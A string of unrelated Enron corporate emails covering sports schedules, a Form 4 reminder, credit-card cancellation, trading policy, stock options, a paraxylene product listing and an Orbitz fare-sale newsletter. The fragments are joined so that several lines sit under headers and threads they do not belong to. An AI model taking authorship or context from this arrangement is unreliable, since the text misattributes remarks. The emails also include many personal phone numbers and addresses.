Attached, for your information, is  a copy of a general presentation that I 
prepared to illustrate and describe EGM's businesses.  This is a presentation 
that will become a "living" document to communicate our businesses and 
growth.  I will be making numerous changes as we move closer to the analyst 
meeting in January but I wanted to give everyone a copy of this version.

With all of your history on these businesses, I thought you might be 
interested in our approach and description.

Please don't hesitate to call me if you have any questions or comments.

Mike

Jeff: Talked with Steve and Anita -we do need an Income Statement for
the CLEC (ETI); we can delete "residential" reference in the Application
and say "telecommunications services"; we do need to keep reference to
UNE's as explanatory language re Enron's provision of services; Please
let us know if you have further thoughts. Thx, Jeremy

---------------------- Forwarded by Eric Bass/HOU/ECT on 09/13/2000 05:31 PM 

Brian Hoskins
09/07/2000 01:04 PM
To: Eric Bass/HOU/ECT@ECT, bthoskins@hotmail.com, Luis.Mena@enron.com, 
Amir_Ahanchian@enron.net, Matthew Lenhart/HOU/ECT@ECT, Timothy 
Blanchard/HOU/EES@EES, Bryan Hull/HOU/ECT@ECT, Jeffrey C Gossett/HOU/ECT@ECT, 
O'Neal D Winfree/HOU/ECT@ECT, David Baumbach/HOU/ECT@ECT, Kenneth 
Shulklapper/HOU/ECT@ECT, Nick Hiemstra/HOU/ECT@ECT, Lenine 
Jeganathan/HOU/ECT@ECT
cc:  
Subject: Flag Football Schedule

Heat,

I have good news and bad news.  The bad news is that Danny Campbell, our 
esteemed Enron Flag Football President, left the company and forgot to
tell us that our first game was...last night.  So we forfeited our first 
game.  The good news is that it was against the Raiders, and we probably 
wouldn't
have won anyway.  

Here is the schedule.  Enron's Team 3 is probably not going to play, so this 
means that we'll have some open dates unless they decide to reschedule.
Take note that we're playing in the City League again this fall, but the 
location has changed.  We're going to play at Jaycee Park.  Directions are
below.  Sorry about the confusion this week, but I'll see you on the field 
next Wednesday night.

Brian

All games are on Wednesday nights at Jaycee Park ballfield
9/6 8:30pm vs. Raiders
9/13 7:30pm vs. Jay Ballers
9/20 8:30pm vs. Organized Confusion
9/27 7:30pm vs. Dawgs (Enron)
10/4 6:30pm vs. Team 3 (Enron)
10/11 6:30pm vs. Raiders
10/18 6:30pm vs. Jay Ballers
10/25 7:30pm vs. Organized Confusion
11/1 8:30pm vs. Dawgs (Enron)
11/8 8:30pm vs. Team 3 (Enron)

Directions to Jaycee Park ballfield (NW)
1300 Seamist @ Grovewood
Go out the West Loop N (610) to W. 18th Street.
Exit W. 18th Steet, go right
Take right on Seamis, follow to the park

I didn't sell any, right?
---------------------- Forwarded by Steven J Kean/NA/Enron on 04/12/2001 
06:33 PM ---------------------------
From: Rebecca Carter on 03/21/2001 03:38 PM
Sent by: Kelly Johnson
To: Kenneth Lay/Corp/Enron@ENRON, Jeff Skilling/Corp/Enron@ENRON, Ken 
Harrison/ENRON@enronxgate, Cliff Baxter/Enron@EnronXGate, Mark 
Frevert/Enron@EnronXGate, Stanley Horton/Corp/Enron@Enron, Ken Rice/Enron 
Communications@Enron Communications, Karen S Owens@ees@EES, Rick 
Buy/Enron@EnronXGate, Richard Causey/Corp/Enron@ENRON, James 
Derrick/Enron@EnronXGate, Andrew S Fastow/Enron@EnronXGate, Steven J 
Kean/NA/Enron@Enron, Mark Koenig/Corp/Enron@ENRON, Mark 
Metts/Enron@EnronXGate, Cindy Olson/Corp/Enron@ENRON
cc: Rosalee Fleming/Corp/Enron@ENRON, Sherri Sera/Corp/Enron@ENRON, Dolly 
Henrici/ENRON@enronxgate, Susan Skarness/Enron@EnronXGate, Nicki 
Daw/Enron@EnronXGate, Cindy Stark/Corp/Enron@ENRON, Dorothy Dalton/Enron 
Communications@Enron Communications, Karen Owens/HOU/EES@EES, Karen K 
Heathman/Enron@EnronXGate, Sharron Westbrook/Corp/Enron@ENRON, Stephanie 
Harris/Enron@EnronXGate, Bridget Maronge/Enron@EnronXGate, Maureen 
McVicker/NA/Enron@Enron, Joannie Williamson/Corp/Enron@ENRON, Dolores 
Fisher/Enron@EnronXGate, Kathy McMahon/NA/Enron@Enron 

Subject: Form 4 Reminder for March 

CONFIDENTIALITY NOTICE

The information contained in this email may be confidential and/or 
privileged. This email is intended to be reviewed by the individual or 
organization named above. If you are not the intended recipient, you are 
hereby notified that any review, dissemination or copying of this email or 
its attachments, if any, or the information contained herein is prohibited. 
If you have received this email in error, please immediately notify the 
sender by return email and delete this email from your system. Thank you.

Could you make sure that whomever's doing the letter to the California Ds gets a copy to me and Sue (want to keep the family happy, don't you know).

Thanks a million.

Boy do we need the cash from that merger.  Please hurry.

Best,
Jeff

Nice job on the postcard.  I will get you an answer on the mailout tomorrow 
morning.  Let me know if you hear anything from EOL regarding the new version.

Thanks,

As you are aware, the Corporate American Express credit cards have been cancelled, effective December 4, 2001.  We are working with American Express to establish new contracts for ETS employees. This will allow for reinstatement of service and a requirement for issuance of new cards.  We are expecting an answer from American Express on December 14, 2001.

Until advised, please limit travel and entertainment expenses.  If you are required to travel on business, you will need to use your personal credit cards or cash and submit your expenses through the XMS expense account system at:  https://expensexms.enron.com/ewp/ .   If the use of a personal credit card to cover your travel needs is not an option, cash advances can be approved by your immediate supervisor, and processed through your local administrative team.  In Houston, all cash advance requests, after obtaining proper approval, should be routed to Carolyn Centilli for processing. 

We will continue to update you of program changes as we continue to work with American Express.  If you have questions, please call Mary Ann Johnson - 713-345-5278 or Bruce Martin - 713-345-6527.

Morris A. Brassfield
3AC3285
Senior Director

Work:  (713) 646-7006
Cell:    (713) 503-1409
Pager: (877) 701-9516

We are a small co-generation facility in North Carolina that will be required to meet the federal NOx allocations beginning with the 2003 ozone season. One option is to look at a NOx trading. I would like to discuss the NOx trading program, the process and terms with Enron.

R. P. Wrigglesworth
Kannoplis Energy Partners, LLC
One Lake Circle Drive
Kannapolis, NC  28082
rwrigglesworth@peregrinecorp.net

Yannis,

Thanks for your email.

Enron Company Policy prohibits employees from trading any products that the=
=20
company trades.  Besides energy commodities (natgas, crude oil products,=20
power), the company also trades interest rates & currencies, pulp & paper,=
=20
weather, plastics, and metals.  I am sure this product base will expand in=
=20
the future.  I am sure this product base will continue to expand.  If you=
=20
have any questions about trading a particular product, please call me at=20
x33399 (I am a paralegal in the Legal Dept.), Mark Taylor, VP & General=20
Counsel of Trading, at x37459, or Ted Murphy, Control, at x33324.

=09Yannis Tzamouranis
=0906/22/2000 09:39 AM
=09=09
=09=09 To: Tana Jones/HOU/ECT@ECT
=09=09 cc: Yannis Tzamouranis/HOU/ECT@ECT
=09=09 Subject: Re: Enron North America Corp. NYMEX Hedge Exemption Applica=
tions

I was considering opening an account to trade commodities on my own.  What=
=20
are the implications?

Thanks,

Yannis Tzamouranis

  =20
=09
=09From:  Mark Taylor @ ENRON                           06/21/2000 06:39 PM
=09

To: All Enron Houston, Everyone_in_ECT_Calgary, Everyone_in_ECT_London,=20
Everyone_in_ECT_Portland, Everyone_in_ECT_New York, Everyone_in_ECT_Denver,=
=20
Everyone_in_ECT_Oslo, Everyone_in_ECT_Singapore, EI-Australia, Buenos Aires=
=20
Argentina - Office Staff, Buenos Aires Argentina - TGS Office Staff, Enron=
=20
Everyone_EOG_Denver, Enron Everyone_EOG_Calgary
cc: =20
Subject: Enron North America Corp. NYMEX Hedge Exemption Applications

We are in the process of preparing applications for position limit exemptio=
ns=20
for ENA=01,s NYMEX energy commodities futures trading.  These applications=
=20
require that ENA represent whether its officers, employees, owners, or agen=
ts=20
have a power of attorney, control or have a financial interest in any other=
=20
related commodity future(s) account either individually or acting with=20
another person pursuant to express or implied agreement.

Please direct any responses to my paralegal, Tana Jones, via intercompany=
=20
email or call her at (713) 853-3399 by the end of business Friday, June 30,=
=20
2000 if you have any power of attorney, control or have a financial interes=
t=20
in any commodity futures account (other than an ENA or other trading=20
affiliate account).

IF YOU DO NOT HAVE A COMMODITY FUTURES ACCOUNT, YOU DO NOT NEED TO RESPOND =
TO=20
THIS REQUEST.

REMINDER....YOUR REGISTERED TO PLAY:

Monday, November 19, 2001 - The 2001 Golf Tournament at Raveneaux Country Club

	Address:	9415 Cypress Wood Drive
	Phone:		281.370.6370

Registration & Range Balls @ 11:00am / 12:00 Noon Shotgun Start

Includes:

	Hole Sponsorship Sign
	Green Fees for Four Players
	Range Balls for Four Players
	Recognition in Program
	2 Golf Carts
	4 Lunches
	4 Dinners

Raveneaux Country Club requires Golf Attire and soft spikes only.  The Tournament is a 4-Person Team Florida Scramble format.

Teams:

Thanks,

Christina Valdez
Enron Net Works LLC
Phone - 713.853-9106
Fax     - 713.345.8100
christina.valdez@enron.com

Please provide comments to the attached minutes by September 11th. If you approve as written, please let us know. Regards, Rebecca

Kelly M. Johnson
Executive Assistant
Tel: 713-853-6485
Fax: 713-853-2534
E-Mail: kelly.johnson@enron.com

The information contained in this email may be confidential and/or privileged. This email is intended to be reviewed by the individual or organization named above. If you are not the intended recipient, you are hereby notified that any review, dissemination or copying of this email or its attachments, if any, or the information contained herein is prohibited. If you receive this email in error, please immediately notify the sender by return email and delete this email from your system. Thank you.

guys, I am out of town - John you will have to represent EA.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 02/09/2001 
10:04 AM ---------------------------

	Tracy L Arthur
	
	02/08/2001 09:16:35 AM
	
To: Stanley Horton/Corp/Enron@Enron, David W Delainey/HOU/ECT@ECT, Louise 
Kitchen/HOU/ECT@ECT, Jeffrey McMahon/HOU/ECT, Colleen Sullivan/HOU/ECT@ECT, 
John Thompson/LON/ECT@ECT, Mike McConnell/HOU/ECT@ECT, Christopher B 
Hunt/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Dan Leff/HOU/EES@EES, Tim 
DeSpain/HOU/ECT@ECT
cc: Celeste Roberts/HOU/ECT@ECT, Shelly Jones/HOU/ECT@ECT, Donna 
Jones/HOU/ECT@ECT, Cindy Stark/Corp/Enron@ENRON, Kimberly Nelson/OTS/Enron, 
Kay Chapman/HOU/ECT@ECT, Tammie Schoppe/HOU/ECT@ECT, Sue Ford/HOU/ECT, 
Kimberly Brown/HOU/ECT@ECT, Karin Ahamer/EU/Enron@Enron, Cathy 
Phillips/HOU/ECT@ECT, Ann Brown/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Kathy 
Dodgen/HOU/EES@EES, Carol Ann Brown/Enron Communications@Enron 
Communications, Marion Sczykutowicz/HOU/ECT@ECT 
Subject: CONFIRMATION - Associate Orientation Business Unit Presentations

Thank you all for agreeing to participate with the Associate Orientation - 
Introduction  Enron's Businesses presentations.  The presentations will be 
conducted on the dates and times listed below, as previously scheduled.  All 
presentations will take place at the Doubletree Allen Center in the Dezavala 
room.

If you have any questions or require any additional information, please feel 
free to contact me at 713-345-7853.

Thank you again,
Tracy Arthur
Communication Specialist
  
LOCATION:
Doubletree Allen Center
Dezavala Room
 
WEDNESDAY, FEBRUARY 14
ETS  Stan Horton  Wednesday, February 14 9:15 a.m. - 9:45 a.m.
EA  Dave Delainey  Wednesday, February 14 9:45 a.m. - 10:15 a.m.
ENW  Louise Kitchen  Wednesday, February 14 10:30 a.m. - 11:00 a.m.
EIM  Jeff McMahon  Wednesday, February 14 11:00 a.m. - 11:30 a.m.
Trading Simiulation  Colleen Sullivan Wednesday, February 14 1:30 p.m. - 2:00 
p.m.
EEL  John Thompson Wednesday, February 14 2:00 p.m. - 2:30 p.m.
EGM  Mike McConnell  Wednesday, February 14 2:30 p.m. - 3:00 p.m.
EGA  Chris Hunt  Wednesday, February 14  3:00 p.m. - 3:30 p.m.

THURSDAY, FEBRUARY 15
EES   Dan Leff Thursday, February 15  8:45 a.m. - 9:15 a.m.
EBS   Kevin Hannon Thursday, February 15  9:15 a.m. - 9:45 a.m.
Global Finance  Tim Despain Thursday, February 15  10:15 a.m. - 10:15 a.m.

Liz,

I will be out of the office the morning of Wednesday, Feb. 14, 2001.

Thanks,

Errol

eSource presents Free Global Energy Markets Presentation:

June. 5   9:00 -  9:30 AM EB 5C2
June. 5   10:00 -  10:30 AM  EB 5C2

Global Energy Markets 
Global Energy Markets is an information service that gives you access to 
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Global Energy Markets provides many different news feeds and data sources in 
one service.  In addition, Global Energy Markets provides useful online 
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Each service is available by global region.  Services include the Americas, 
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modules.

The first core module is the energy news.  The news comes from Reuters, Dow 
Jones, Energy24x, BBC, AP, AFP, and others.  This is an all-in-one regional 
news service.  The other three modules are useful databases for finding news 
articles, project information and companies.  The second module is the Global 
Energy Projects Database.  The third module is the Global Energy News 
Archive.  The fourth is the Energy Companies Directory.

http://home.enron.com:84/messaging/globalenergymarkets.pdf
  
5-7928
No Shows will be charged $50.00
additional training sessions and vendor presentations.     

just wanted to make sure you both had this...
---------------------- Forwarded by Karen Denne/Corp/Enron on 05/01/2001 
09:37 PM ---------------------------
From: Cindy Derecskey on 05/01/2001 10:53 AM
To: Steven J Kean/NA/Enron@Enron, Karen Denne/Corp/Enron@ENRON
cc:  

Subject: Text of Dick Cheney's Toronto speech yesterday

----- Forwarded by Cindy Derecskey/Corp/Enron on 05/01/2001 10:53 AM -----

	Linda Robertson
	05/01/2001 10:40 AM
		 
		 To: Richard Shapiro/NA/Enron@Enron, Mark Palmer/Corp/Enron@ENRON, Janel 
Guerrero/Corp/Enron@Enron
		 cc: 
		 Subject: Text of Dick Cheney's Toronto speech yesterday

 - AP - 4.30.doc

Entire story:  http://espn.go.com/nfl/news/2001/1117/1279805.html

Leading rusher Correll Buckhalter is among three rookie players suspended
for one game by Philadelphia Eagles head coach Andy Reid on Saturday after a
Friday night incident in which the trio was taken into custody on possible
drug charges.

None of the players will participate in Sunday's game at Dallas, nor will
they be allowed to even make the trip, as the result of the team action.

ESPN.com has learned that safety Terrence Carroll, an undrafted free agent
from Oregon State, is the only one of the players who will be charged. The
players were stopped Friday night as they drove on South Street, a trendy
area of shops and clubs, and police detected an odor of marijuana.

Carroll is expected to be charged with marijuana possession and he remains
in custody pending bond. Buckhalter and cornerback Darrel Crutchfield, an
undrafted free agent from Clemson, were released on Saturday morning and
will not face charges. Carroll was to have been deactivated for the game at
Dallas and might not have made the trip anyway.

"We are obviously aware of the incident involving three of our first-year
players last night in Philadelphia," said Reid in a statement released by
the club. "I've met with the players that I could meet with this morning and
they will be suspended for this Sunday's game. . . . We will not have any
further comment on this matter and we will handle the rest of this situation
internally."

The players will each be docked $12,294, the equivalent of one game check
based on their rookie minimum base salaries of $209,000. More significant
for Carroll is that he almost certainly will be in violation of the NFL's
personal conduct policy and may also have violated the substance abuse
policy.

A fourth-round draft choice from Nebraska, the hard-running Buckhalter has
rushed for 428 yards and two touchdowns on 92 carries this year, starting
several games in place of the injured Duce Staley. Although Staley has
returned to the starting lineup, and had his best game of the season last
week, Buckhalter is still a key part of the Eagles offense.

[ [ [ [ [ [ [ [ [ [ [ [ [  OUR VIEW  ] ] ] ] ] ] ] ] ] ] ] ] ] ] ] ]

Shaking the head here.   Bottom line is this has a positive effect on
Staley.

Thanks to Footballguy Mike Green for pointing me to this one.

Joe

/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/

Bryant Analytics, Inc.   All Rights Reserved 1999-2001

To unsubscribe from this group, send an email to:
cheatsheets-unsubscribe@egroups.com

Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ 

It is amazing and yet not surprising how much Enron has accomplished in the=
=20
first six months of this year. You continue to make it happen.  We recogniz=
e=20
that you work hard every day to accomplish Enron=01,s business goals, and w=
e are=20
pleased that many of you have shared in the company=01,s financial success=
=20
through Enron stock options.=20

As you may know, the current employee stock option program (also known as t=
he=20
All Employee Stock Option Program or AESOP) began in 1994 and provided valu=
e=20
to participants through 2000.  Employees who have participated in this=20
program from its inception have realized a 1,119% increase in the value of=
=20
their stock options (assuming a stock price of $70) over the life of the=20
program.  =20

Enron stock options are a valuable part of your total compensation package=
=20
and a contributing factor to your performance and to Enron=01,s continued=
=20
success.  Therefore, the Enron Executive Committee and the Compensation and=
=20
Management Development Committee of the Enron Board of Directors have decid=
ed=20
to continue to offer stock options as a part of your compensation package.

On May 1, 2000, the Committee approved an employee stock option program for=
=20
calendar years 2001 - 2005 (EnronOptions =01) Your Stock Option Program).  =
It is=20
expected that EnronOptions =01) Your Stock Option Program will be granted,=
=20
effective on or about December 29, 2000, for those employees who are eligib=
le=20
on that date (please see note below).  The new program, which is subject to=
=20
final approval by Enron=01,s Board of Directors, is as follows:

? EnronOptions =01) Your Stock Option Program will give stock options to=20
eligible full-time and part-time regular employees in domestic and=20
international companies/locations.
? The grant of non-qualified stock options will equal 25% of annual base=20
salary (5% of annual base salary for each year of a 5-year period) on=20
December 29, 2000. (Salary calculation and value may vary in some=20
international locations.)
? The Board will grant the stock options on December 29, 2000.
? Eligible employees hired in subsequent years will receive a prorated gran=
t=20
of stock options.

Why commit your talent and energy to Enron?  EnronOptions =01) Your Stock O=
ption=20
Program, among other good reasons=01( that=01,s why.

In the coming weeks, you will be receiving more details about EnronOptions =
=01)=20
Your Stock Option Program.  To provide information and answer your question=
s,=20
we will introduce a special link on the Human Resources web-site, host=20
several eSpeak sessions and continue to communicate with you on a regular=
=20
basis.  In the meantime, if you have immediate questions, please contact yo=
ur=20
Human Resources representative.=20

Note: In addition to final approval by Enron=01,s Board of Directors, grant=
ing=20
of options will be subject to New York Stock Exchange and state and federal=
=20
regulatory requirements.  It is expected that EnronOptions =01) Your Stock=
=20
Option Program will be available to most Enron employees; however, some Enr=
on=20
companies=01, employees may not be eligible due to legal, accounting, tax, =
labor=20
or business issues.  As you know, Enron changes to meet the needs of the=20
marketplaces we serve.  Given that need to change, we will continue to refi=
ne=20
the eligibility for EnronOptions =01) Your Stock Option Program and will=20
communicate more details throughout the year with final eligibility being=
=20
determined on December 29, 2000. 

Vince,
Steve Leppard informed my today that he will be moving to Enron Metals.  I 
think that leaves a leadership hole in Research here.  When that happens in a 
place like this, resources get diverted to the squeakiest wheel.  Do you have 
any advice?  I am concerned that London continues to lag behind in the 
implementation and analysis of VaR - most commodities are on spreadsheets and 
there is not a lot of attention on calibration, analyzing output, refining, 
improving etc..
pls advise
ted

<html>

<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>New Page 2</title>
</head>

<body>

<table border="0" width="528" cellspacing="0" cellpadding="0" height="1051">
  <tr>
    <td width="523" colspan="6" bgcolor="#FFFFFF" height="21">   </td>
  </tr>
  <tr>
    <td width="523" colspan="6" height="31">                                                                                                                                          
                                                                                                                                            
 <a href="http://email.orbitz.com/cgi-bin9/flo?y=hIFO0Dc2Gh0DXG0BJkk0AM">                                                                                                                                          
                                                                                                                                            
 <img alt="Orbitz" src="http://www.orbitz.com/images/tab_orbitz.gif" border="0" width="143" height="25"></a></td>
  </tr>
  <tr>
    <td width="3" bordercolor="#FFFFFF" bgcolor="#6699CC" height="21"> </td>
    <td width="23" bgcolor="#6699CC" height="21"> </td>
    <td width="287" bgcolor="#6699CC" height="21"> </td>
    <td width="177" bgcolor="#6699CC" height="21"> </td>
    <td width="3" bgcolor="#6699CC" height="21"> </td>
  </tr>
  <tr>
    <td width="3" bordercolor="#FFFFFF" bgcolor="#6699CC" height="24"> <img border="0" src="http://www.orbitz.com/images/dot.gif" width="3" height="1"> </td>
    <td bgcolor="#6699CC" align="right" width="23" height="24"><img src="http://www.orbitz.com/images/curve_top_l_gr.gif" width="23" height="31"></td>
    <td width="287" bgcolor="#99CC66" height="24"> </td>
    <td width="177" bgcolor="#99CC66" height="24"> </td>
    <td width="23" bgcolor="#6699CC" height="24"><img src="http://www.orbitz.com/images/curve_top_r_gr.gif" width="23" height="31"></td>
    <td width="3" bgcolor="#6699CC" height="24"> <img border="0" src="http://www.orbitz.com/images/dot.gif" width="3" height="1"> </td>
  </tr>
  <tr>
    <td width="3" bordercolor="#FFFFFF" bgcolor="#6699CC" rowspan="7" height="912"> </td>
    <td width="23" rowspan="7" height="912"></td>
    <td width="466" colspan="2" valign="top" height="50">
                <p align="center"><font face="Verdana" size="1">This is a post-only
      e-mail.  Please do not reply.<br>
                <br>
                <br>
                </font><font color="#2f2f2f" face="Verdana" size="5">DELTA NEW YEAR'S FARE SALE<br>
                </font><font color="#2f2f2f" face="Verdana" size="4">
                <img border="0" src="http://www.orbitz.com/images/dot.gif" width="1" height="10"><br>
                </font><b><font color="#FF0000" face="Verdana" size="2">FROM
                $133 TO $293<br>
                <img border="0" src="http://www.orbitz.com/images/dot.gif" width="1" height="15"></font></b></p>
    </td>
    <td width="3" bgcolor="#6699CC" rowspan="7" height="912"> </td>
  </tr>
  <tr>
    <td width="466" colspan="2" valign="top" height="3" bgcolor="#FFFFFF">
          <table border="0" width="100%" cellspacing="0" cellpadding="0">
            <tr>
              <td width="100%" bgcolor="#99CC66" height="3"><img border="0" src="http://www.orbitz.com/images/dot.gif" width="100" height="3"></td>
            </tr>
          </table>
    </td>
  </tr>
  <tr>
    <td width="466" colspan="2" height="171">
                      <p align="left"><font color="#2f2f2f" face="Verdana" size="4"><img border="0" src="http://www.orbitz.com/images/dot.gif" width="1" height="10"><br>
                </font>
                <b><font class="darkgreyHeader" color="#333333" face="verdana" size="2"><br>
                PAUL,
                </font>
        </b>
      </p>
                      <p align="left">
                <a href="http://email.orbitz.com/cgi-bin9/flo?y=hIFO0Dc2Gh0DXG0BJkk0AM">
                <font color="#0000FF" size="2" face="Verdana">Orbitz </font>
                </a> 
                <font color="#2f2f2f" size="2" face="Verdana"> and Delta
                Air Lines want to help you celebrate the New Year by offering
                these great low fares. Tickets must be purchased at least 7-days before travel
                and a Saturday night stay is required for most destinations.</font>?
                <font color="#2f2f2f" size="2" face="Verdana">Travel
                      must be complete by March 14, 2002.</font>
      </p>
                <font color="#2f2f2f" size="2" face="Verdana">This sale ends
                January 6, 2002, so hurry and book
                      your trip today! <i><br>
                      <img border="0" src="http://www.orbitz.com/images/dot.gif" width="1" height="30"></i>  </font>
      </p>
    </td>
  </tr>
  <tr>
    <td width="466" colspan="2" height="18">
                      <b><font class="darkgreyHeader" color="#333333" face="Verdana" size="2">*sample
                      sale fares (round-trip)     </font></b><i><font color="#0000FF" face="Verdana" size="2"><a href="http://email.orbitz.com/cgi-bin9/flo?y=hIFO0Dc2Gh0DXG0BJkl0AN">view
                      sale details
                </a>
                      </font></i>
    </td>
  </tr>
  <tr>
    <td width="466" colspan="2" bgcolor="#99CC66" height="3">
                      <font face="Verdana"><img height="1" src="http://www.orbitz.com/images/dot.gif" width="278" border="0"></font></td>
  </tr>
  <tr>
    <td width="466" colspan="2" height="666"> 
      <table border="0" width="463" cellspacing="0" cellpadding="0" height="640">
        <tr>
          <td width="130" valign="bottom" height="21"><font color="#2f2f2f" face="Verdana" size="4">
                <img border="0" src="http://www.orbitz.com/images/dot.gif" width="1" height="5"></font></td>
          <td width="51" valign="bottom" height="21"></td>
          <td width="156" valign="bottom" height="21"></td>
          <td width="118" valign="bottom" height="21"></td>
        </tr>
        <tr>
          <td width="130" valign="bottom" height="16"><font color="#2f2f2f" size="2" face="Verdana"><b>Anchorage</b></font></td>
          <td width="51" valign="bottom" height="16"><font color="#2f2f2f" size="2" face="Verdana"><b>to</b></font></td>
          <td width="156" valign="bottom" height="16"><font color="#2f2f2f" size="2" face="Verdana"><b>Tampa</b></font></td>
          <td width="118" valign="bottom" height="16"><font color="#2f2f2f" size="2" face="Verdana"><b>$293</b></font></td>
        </tr>
        <tr>
          <td width="130" valign="bottom" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>Atlanta</b></font></td>
          <td width="51" valign="bottom" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>to</b></font></td>
          <td width="156" valign="bottom" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>Orange
            County, CA</b></font></td>
          <td width="118" valign="bottom" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>$263</b></font></td>
        </tr>
        <tr>
          <td width="130" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>Atlanta</b></font></td>
          <td width="51" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>to</b></font></td>
          <td width="156" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>Corpus
            Christi</b></font></td>
          <td width="118" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>$193</b></font></td>
        </tr>
        <tr>
          <td width="130" height="16"><font color="#2f2f2f" size="2" face="Verdana"><b>Baltimore</b></font></td>
          <td width="51" height="16"><font color="#2f2f2f" size="2" face="Verdana"><b>to</b></font></td>
          <td width="156" height="16"><font color="#2f2f2f" size="2" face="Verdana"><b>Cincinnati</b></font></td>
          <td width="118" height="16"><font color="#2f2f2f" size="2" face="Verdana"><b>$163</b></font></td>
        </tr>
        <tr>
          <td width="130" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>Boston</b></font></td>
          <td width="156" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>Philadelphia</b></font></td>
          <td width="118" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>$133</b></font></td>
        </tr>
        <tr>
          <td width="130" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>Dallas</b></font></td>
          <td width="51" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>to</b></font></td>
          <td width="156" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>Cincinnati</b></font></td>
          <td width="118" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>$193</b></font></td>
        </tr>
        <tr>
          <td width="130" height="6"><font color="#2f2f2f" size="2" face="Verdana"><b>Denver</b></font></td>
          <td width="51" height="6"><font color="#2f2f2f" size="2" face="Verdana"><b>to</b></font></td>
          <td width="156" height="6"><font color="#2f2f2f" size="2" face="Verdana"><b>Raleigh/Durham</b></font></td>
          <td width="118" height="17"><font color="#2f2f2f" size="2" face="Verdana"><b>$223</b></font></td>
        </tr>
        <tr>
          <td width="130" height="2"><font color="#2f2f2f" size="2" face="Verdana"><b>Jacksonville</b></font></td>
          <td width="51" height="2"><font color="#2f2f2f" size="2" face="Verdana"><b>to</b></font></td>
          <td width="156" height="2"><font color="#2f2f2f" size="2" face="Verdana"><b>Milwaukee</b></font></td>
          <td width="118" height="13"><font color="#2f2f2f" size="2" face="Verdana"><b>$193</b></font></td>
        </tr>
        <tr>
          <td width="130" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>Los
            Angeles</b></font></td>
          <td width="156" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>Bozeman</b></font></td>
        </tr>
        <tr>
          <td width="130" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>New
            York</b></font></td>
          <td width="156" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>Richmond</b></font></td>
        </tr>
        <tr>
          <td width="130" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>Providence</b></font></td>
          <td width="156" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>Atlanta</b></font></td>
        </tr>
        <tr>
          <td width="130" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>Salt
            Lake City</b></font></td>
          <td width="156" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>Cleveland</b></font></td>
          <td width="118" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>$223</b></font></td>
        </tr>
        <tr>
          <td width="130" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>San
            Antonio</b></font></td>
          <td width="156" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>Wichita</b></font></td>
          <td width="118" height="18"><font color="#2f2f2f" size="2" face="Verdana"><b>$163</b></font></td>
        </tr>
        <tr>
          <td width="130" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>Washington
            DC</b></font></td>
          <td width="156" height="7"><font color="#2f2f2f" size="2" face="Verdana"><b>Reno</b></font></td>
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You can only pick up players for the upcoming sunday's game through the 
bidding process.  No pick ups will be allowed after wednesday on any given 
week.

So paraxylene is a petrochem and not a chem?!!

	Frank L Davis
	06/26/2000 04:50 PM
		 
		 To: Tom Moran/HOU/ECT@ECT, Tana Jones/HOU/ECT@ECT
		 cc: 
		 Subject: New Product Type

More fun on the way!!!  Below is the description for the new US Paraxylene 
physical product type.  Should we copy the profiles from another US 
petrochemical physical product type???  Please send me your comments.

Thanks!!!

Frank

Comercial is rolling out the following new product for Paraxylene FOB 
Physical Forward. 

Commodity:  Paraxylene FOB
Currency:  USD
Default UOM:  mt
Country:  USA

A Transaction with Enron Petrochemicals Company, a division of Enron Liquid 
Fuels, Inc., under which the Seller shall sell and the Buyer shall purchase 
Paraxylene with minimum purity 99.70%,  on a FOB basis and at the specified 
quantity/tolerance, quality and price. The quantity shall be the volume 
submitted by Counterparty via EnronOnline. The price shall be the price 
submitted by Counterparty via EnronOnline multiplied by the quantity.

----- Forwarded by Debra Perlingiere/HOU/ECT on 09/01/2000 03:37 PM -----

	Dan J Hyvl
	07/21/2000 09:50 AM
		 
		 To: Debra Perlingiere/HOU/ECT@ECT, Jeffrey T Hodge/HOU/ECT@ECT
		 cc: 
		 Subject: FUNNY

OHHHH - This is sooo funny!! I think that got the characters and the meeting
agenda from here at NASA.  Actually I think I have been to a meeting like
this!!!! HAHAHAHAHAHA!!
Have a good weekend!!

-Donna

>  <<Tso Meeting.exe>>  <<Chess.gif>>
>
> Joshua "Ayatollah of Rock and Rolla" Heck
> Technical Services and Operations
> Universal Weather and Aviation
> Palm e-mail - TSO1@palm.net
> (713)-944-1622 ext. 3673 (Work)
> (281)-788-4375 (Cell)
> (800)-222-6000 (E-Voicemail)
> Mailbox# 281-788-001
>
>

 - Tso Meeting.exe
 - Chess.gif

On the various matters currently before the California PUC:
The Commission order stating that the utilities should absorb any difference 
between DWR's cost of power and the retail rate freeze is still technically 
in effect.  (The order only applies, however, to the power purchased under 
the Governor's emergency order giving the State the authority to buy power.)
